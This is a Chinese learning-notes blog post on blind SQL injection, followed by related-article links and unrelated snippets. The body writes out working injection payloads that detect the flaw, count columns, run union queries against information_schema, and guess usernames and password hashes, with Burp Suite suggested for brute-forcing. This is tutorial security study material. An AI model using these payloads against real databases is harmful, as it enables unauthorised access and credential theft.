Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入
我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式
如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲注
猜测是否存在SQL注入:
1' and 1=1 --
如果正确返回ID为1的信息,那么可以猜测存在SQL注入漏洞
再输入:
1' and 1=2 --
如果什么都不返回,到这里就可以确定存在SQL注入了
猜测查询的字段数:
1' order by 5 --
发现什么都没有返回,说明该查询的字段少于5个字段
然后每次减小1,直到2的时候,发现返回了信息,说明该SQL语句查询的有两个字段
到这里就可以发现盲注和一般SQL注入的区别:
单引号前面至少有一个正确的ID,因为只有查询到了信息,才会有显示
进一步,使用联合查询:
1' union select user(),database() --

查询数据库信息
1' union select null,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --

查询数据库里面所有表的信息
1' and 1=0 union select null,table_name from information_schema.tables#

查询当前表:
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #

无法使用union,order by语句,或者无法查找infomation_schema数据库时:
和一般SQL注入的猜测方法一致
猜字段名:
1' and [猜测字段名] is not null --
如果正常返回,说明该字段存在
猜当前表名:
1' and [猜测表名].[已猜测到的字段名] is not null --
如果正常返回,说明猜测正确
猜当前库里面其他的表名:
1' and (select count(*) from [猜测表名])>0 --
如果正常返回,说明该表存在
表和字段对应关系:
1' and [猜测表].[猜测字段] is not null --
如果正常返回,说明该对应关系存在
猜字段内容:
1' and user='admin
正确返回,说明该表存在user=admin的信息
1' or user like '%a%
正确返回,结果就是user字段所有内容包含字符a的信息
2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
注意:这里的开头的id不能写死,要尝试多个
比如ID=1的user就是admin,那么后半句无论真假,都会返回admin的信息
如果ID=1的user不是admin,如果显示多条信息,那么猜测正确
之前都有提过,这里的猜测可以结合Burpsuite爆破
这一节的内容有点水,不过还是需要专门来讨论下SQL盲注
Kali学习笔记43:SQL盲注的更多相关文章
- SQL盲注学习-布尔型
本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- Kali学习笔记42:SQL手工注入(4)
前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- SQL盲注工具BBQSQL
SQL盲注工具BBQSQL SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...
- (转)SQL盲注攻击的简单介绍
转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL ...
- Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41 login3(SKCTF)
- Oracle学习笔记三 SQL命令
SQL简介 SQL 支持下列类别的命令: 1.数据定义语言(DDL) 2.数据操纵语言(DML) 3.事务控制语言(TCL) 4.数据控制语言(DCL)
随机推荐
- thymleaf th:if判断某值不为空
简单描述:判断后台传递过来的值,是否为空,来做一些业务上的处理. 代码: <div class="col-md-6" th:if="${not #strings.i ...
- 强连通分量Kosaraju
#include<cstdio> #include<algorithm> #include<iostream> #include<cstring> #i ...
- java PageHelper 分页插件出现 Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Duplicate column name 'Id' 错误
情景: Mapper.xml定义连表查询,如果sql的字段名中有sql关键字,会导致PageHelper插件出现 com.mysql.jdbc.exceptions.jdbc4.MySQLSyntax ...
- python_web框架
一.web框架 web框架: 自己完成socket的web框架:如,Tornado等 由WSGI完成socket的web框架:如,Django.flash等 两种实现过程: 第二种WSGI方式的,由于 ...
- 推荐学习git
龙恩博客http://www.cnblogs.com/tugenhua0707/p/4050072.html#!comments git命令大全https://www.jqhtml.com/8235. ...
- SQL数据库的操作,表的操作
数据库定义语言(DDL):用于对数据库及数据库中的各种对象进行创建,删除,修改等操作 (1)create:用于创建数据库或数据库对象 (2)alter:用于对数据库或数据库对象进行修改 (3)drop ...
- python代码规范与标准库参考
python代码规范与标准库参考 python代码规范参考文献: http://www.runoob.com/w3cnote/google-python-styleguide.html https:/ ...
- ZOJ 3876 JAVA
题意: 输入年份,求五一假期一共放多少天假.五一假期默认5天,如果5月1号星期一,那么它之前有星期六星期天两天假期, 假期总长度就变成5+2,五一假期结束第二天也需要判断是不是假期. 思路: 使用Ja ...
- 【转发】如何使用NPM?CNPM又是什么?
转发:https://www.jianshu.com/p/f581cf9360a2 背景介绍 什么是npm? npm(node package manager)是nodejs的包管理器,用于node插 ...
- JavaScript创建按钮,实现数字自加1!!
大致步骤: 1.写一个p标签,指定一个id选择器,输入数字! 2.写一个input标签,指定type属性的属性值为button,创建一个按钮,加入onclick事件! 3.为p标签和input标签指定 ...